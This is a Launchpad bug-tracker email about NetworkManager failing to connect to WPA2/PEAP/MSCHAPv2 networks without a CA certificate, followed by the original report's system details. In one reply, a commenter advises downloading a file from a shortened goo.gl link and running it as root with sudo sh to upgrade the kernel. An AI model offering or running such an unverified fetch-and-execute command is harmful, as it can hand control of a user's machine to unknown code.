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Message #00660
[Bug 1104476] Re: Network manager cannot connect to WPA2/PEAP/MSCHAPv2 network without CA_Certificate
@Jan Hauke Maase (h-maase+dev)
I'm glad it worked for you (I knew it would). The ridiculous thing about
this is that probably 50% of the users and developers following this
knows exactly how to fix it, but no suggested fix is accepted.
If you was able to connect, you're no longer affected by this bug. My
guess is that what you're now experiencing is a WIFI-driver bug, and my
best guess is that your WIFI card is a Broadcom. You could try the
following (NOTE: this is NOT related to this bug)
1) enable the proprietary Broadcom driver
2) (lol-option) disable 1) and opt for kernel support might work
3) Upgrade kernel. You might want to try kernel 3.13. That fixed it for me.
Try this at YOUR OWN RISK:
cd /tmp
wget http://goo.gl/x4JYAz -O kernel-3.13
chmod +x kernel-3.13
sudo sh kernel-3.13
sudo reboot
The above is NOT related to the bug described in this thread, and I will
not provide further advise here!
--
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which is subscribed to the bug report.
https://bugs.launchpad.net/bugs/1104476
Title:
Network manager cannot connect to WPA2/PEAP/MSCHAPv2 network without
CA_Certificate
Status in NetworkManager:
Fix Released
Status in Release Notes for Ubuntu:
Fix Released
Status in “network-manager” package in Ubuntu:
Triaged
Status in Gentoo Linux:
Fix Released
Status in “network-manager” package in openSUSE:
Confirmed
Bug description:
=== Release Notes Text ===
When connecting to MPA2/PEAP/MSCHAPv2 wifi networks which do not have
a CA Certificate network manager may incorrectly mark the CA
certificate as needing verification and fail that verification. See
the bug for workarounds.
===
I can connect to Eduroam in 12.10 and any other previous release, but
not in 13.04. I checked, my name and password are correct, all
settings are the same as in 12.10.
Network properties:
security: WPA - WPA2 enterprise
authentication: protected EAP (PEAP)
CA certificate: none
PEAP version: automatic
inner autentication: MSCHAPv2
username: (required)
password: (required)
ProblemType: Bug
DistroRelease: Ubuntu 13.04
Package: network-manager 0.9.6.0+git201301021750.e78c3e8-0ubuntu3
ProcVersionSignature: Ubuntu 3.8.0-1.5-generic 3.8.0-rc4
Uname: Linux 3.8.0-1-generic i686
ApportVersion: 2.8-0ubuntu2
Architecture: i386
CasperVersion: 1.330
Date: Thu Jan 24 21:32:25 2013
IfupdownConfig:
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
IpRoute:
default via 192.168.43.1 dev wlan0 proto static
169.254.0.0/16 dev wlan0 scope link metric 1000
192.168.43.0/24 dev wlan0 proto kernel scope link src 192.168.43.149 metric 9
LiveMediaBuild: Ubuntu 13.04 "Raring Ringtail" - Alpha i386 (20130123)
MarkForUpload: True
NetworkManager.state:
[main]
NetworkingEnabled=true
WirelessEnabled=true
WWANEnabled=true
WimaxEnabled=true
ProcEnviron:
PATH=(custom, no user)
XDG_RUNTIME_DIR=<set>
LANG=en_US.UTF-8
SHELL=/bin/bash
SourcePackage: network-manager
UpgradeStatus: No upgrade log present (probably fresh install)
nmcli-con:
NAME UUID TYPE TIMESTAMP TIMESTAMP-REAL AUTOCONNECT READONLY DBUS-PATH
AndroidAP 978da457-563b-4c59-a894-45eb0f74fcb7 802-11-wireless 1359063171 Thu 24 Jan 2013 09:32:51 PM UTC yes no /org/freedesktop/NetworkManager/Settings/2
Wired connection 1 6703fabc-9519-49bd-a4af-45fbfb7d660e 802-3-ethernet 1359062570 Thu 24 Jan 2013 09:22:50 PM UTC yes no /org/freedesktop/NetworkManager/Settings/1
eduroam 00f69a95-4a1b-436c-b462-a284f45fbaa1 802-11-wireless 1359063171 Thu 24 Jan 2013 09:32:51 PM UTC yes no /org/freedesktop/NetworkManager/Settings/0
nmcli-dev:
DEVICE TYPE STATE DBUS-PATH
wlan0 802-11-wireless connected /org/freedesktop/NetworkManager/Devices/1
eth0 802-3-ethernet unavailable /org/freedesktop/NetworkManager/Devices/0
nmcli-nm:
RUNNING VERSION STATE NET-ENABLED WIFI-HARDWARE WIFI WWAN-HARDWARE WWAN
running 0.9.7.0 connected enabled enabled enabled enabled disabled
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